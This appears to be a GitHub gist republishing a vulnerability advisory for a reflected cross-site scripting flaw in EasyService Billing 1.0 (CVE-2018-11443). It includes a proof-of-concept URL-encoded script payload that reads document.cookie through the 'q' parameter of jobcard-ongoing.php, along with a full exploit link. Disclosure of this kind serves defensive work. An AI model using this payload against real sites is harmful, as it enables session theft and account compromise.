Create a gist now

Instantly share code, notes, and snippets.

Embed
EasyService Billing 1.0 Cross-Site Scripting
<!--
# # # # #
# Title: EasyService Billing 1.0 Cross-Site Scripting
# Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# CVE: CVE-2018-11443
# # # # #
#
# Proof of Concept:
#
//////////
//XSS//
/////////
Affected Link: http://codecanyon.nelliwinne.net/EasyServiceBilling/jobcard-ongoing.php?q=
Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
Parameter: q
Link: http://codecanyon.nelliwinne.net/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
####################################
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment